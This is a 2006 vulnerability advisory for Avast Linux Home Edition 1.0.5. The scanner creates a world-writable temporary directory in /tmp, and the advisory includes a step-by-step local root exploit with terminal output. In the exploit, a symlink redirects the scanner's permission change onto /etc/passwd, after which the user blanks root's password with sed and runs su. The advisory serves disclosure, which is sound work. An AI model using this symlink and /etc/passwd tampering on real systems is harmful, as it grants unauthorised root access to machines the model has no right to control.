Title      : Avast Linux Home Edition, vulnerability on a temporary folder 
creation
Protuct    : Avast! Linux Home Edition
Product    : http://www.avast.com/eng/download-avast-for-linux-edition.html
Version    : 1.0.5, 1.0.5-1
             avast4workstation-1.0.5-1.i586.rpm
             avast4workstation-1.0.5.tar.gz
Vuln Found : 2006-04-14 (tested on RedHat Entreprise 4 Update 3).


Introduction :
--------------
Avast Linux Home Edition represents an antivirus solution for the Linux 
platform.
When it scans for virus, it creates a temporary directory in /tmp in an 
insecure
manner and gives it an chmod equal to 1777.


Exploit :
---------
$ ls -l /etc/passwd
-rw-r--r--  1 root root 1476 avr 14 15:30 /etc/passwd
$ ln -s /etc/passwd /tmp/_avast4_
$ ll /tmp/_avast4_
lrwxrwxrwx  1 user user 11 avr 14 16:43 /tmp/_avast4_ -> /etc/passwd
...
Waiting for user root to scan for virus (example: # avast -d /bin)
...
$ ls -l /etc/passwd
-rwxrwxrwt  1 root root 1476 avr 14 15:55 /etc/passwd             (Oops!)
$ sed s/^root:x:/root::/ /etc/passwd > /tmp/a.out
$ cat /tmp/a.out > /etc/passwd
$ su -
# id
uid=0(root) gid=0(root) 
groupes=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)


Note :
------
When the root user is launching avast for the first time, the "_avast4_" 
folder
is not erased when virus scan is finished, so it may be difficult for a user 
to create
the symbolic link. But we must not forget that distribs usualy clean there 
/tmp folder
via the tmpwatch utility.


Regards,
Julian L.

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